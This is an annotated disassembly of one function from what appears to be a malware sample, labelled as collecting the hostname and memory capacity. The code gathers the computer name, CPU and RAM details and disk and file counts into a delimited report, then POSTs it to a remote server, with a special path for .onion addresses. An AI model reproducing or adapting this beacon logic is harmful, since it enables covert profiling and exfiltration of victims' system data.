Function at 0x419b0a
Capabilities:
Get hostname
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
mov dword [ebp - 0x14], ecx
imul ecx, dword [0x4a3098], 0x104
push ebx
push esi
mov ebx, 0x2800
push edi
add ecx, ebx
call fcn.004015d0
mov dword [ebp - 0x10], eax
test eax, eax
je 0x419d72
mov dword [ebp - 4], 0x100
xor ecx, ecx
mov byte [ecx + eax], 0
inc ecx
cmp ecx, ebx
jb 0x419b43
mov esi, dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x458]
push eax
push 2
call esi
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x54]
push eax
push 0
call esi
mov eax, reloc.OLEAUT32.dll_SysReAllocString
lea edi, [ebp - 0xd8]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edi
xor ecx, ecx
push ebx
cpuid
mov esi, ebx
pop ebx
lea ebx, [ebp - 0x24]
mov dword [ebx], eax
mov eax, dword [ebp - 8]
mov dword [ebx + 4], esi
inc eax
mov dword [ebx + 8], ecx
mov esi, ebx
mov dword [ebx + 0xc], edx
mov dword [ebp - 8], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 0xc]
add edi, 0x10
mov dword [ebp - 0xc], edi
cmp eax, reloc.WS2_32.dll_connect
jbe 0x419b85
call fcn.004495bd
cdq
mov ecx, 0xff
idiv ecx
lea ecx, [edx + 1]
call fcn.00417fd3
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
imul ecx, dword [0x4a3098], 0x104
mov esi, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
shrd esi, eax, 0x14
add ecx, 0x5000
call fcn.004015d0
mov edi, eax
test edi, edi
je 0x419cef
xor ecx, ecx
movsx ax, byte [ecx + 0x4a3a70]
inc ecx
movzx eax, ax
mov word [ebp + ecx*2 - 0x34], ax
cmp ecx, 0xa
jl 0x419c15
push dword [0x4a3a64]
xor eax, eax
push dword [0x4a3a6c]
mov word [ebp + ecx*2 - 0x34], ax
lea eax, [ebp - 0xd8]
push esi
push eax
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x34]
push eax
push str._sDELIMITERName_domain_:__s__s__r_nCPU:__S_r_nRAM:__d_r_nDisks_count:__d_r_nFiles_count:__dDELIMITER
push 0x2800
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov eax, dword [0x4a3098]
add esp, 0x28
xor ebx, ebx
test eax, eax
je 0x419cbc
xor esi, esi
mov eax, dword [0x4a3090]
add eax, esi
push dword [eax + 0x100]
push eax
push str._s___d_r_n
lea eax, [ebp - 0x258]
push 0xc0
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [0x4a3098]
inc ebx
add esi, 0x104
cmp ebx, eax
jb 0x419c76
imul esi, eax, 0x104
push edi
add esi, 0x2800
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, dword [ebp - 0x10]
xor ecx, ecx
push ecx
push ecx
push esi
push ebx
push eax
push edi
push ecx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, edi
call fcn.00401615
jmp 0x419cf2
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x14]
push str..onion
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x419d41
xor edi, edi
lea eax, [ebp - 0x1e0]
push edi
push edi
push 0x104
push eax
push 0xffffffffffffffff
push esi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ebx
push 0x48c090
mov edx, 0x48c0d4
lea ecx, [ebp - 0x1e0]
call fcn.00401d29
jmp 0x419d5d
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ebx
push str.Content_Type:_application_octet_stream_r_nContent_Encoding:_binary_r_n
mov edx, str.POST
mov ecx, esi
call fcn.0041980a
add esp, 0x10
test eax, eax
je 0x419d6b
mov ecx, eax
call fcn.00401615
mov ecx, ebx
call fcn.00401615
pop edi
pop esi
pop ebx
leave
ret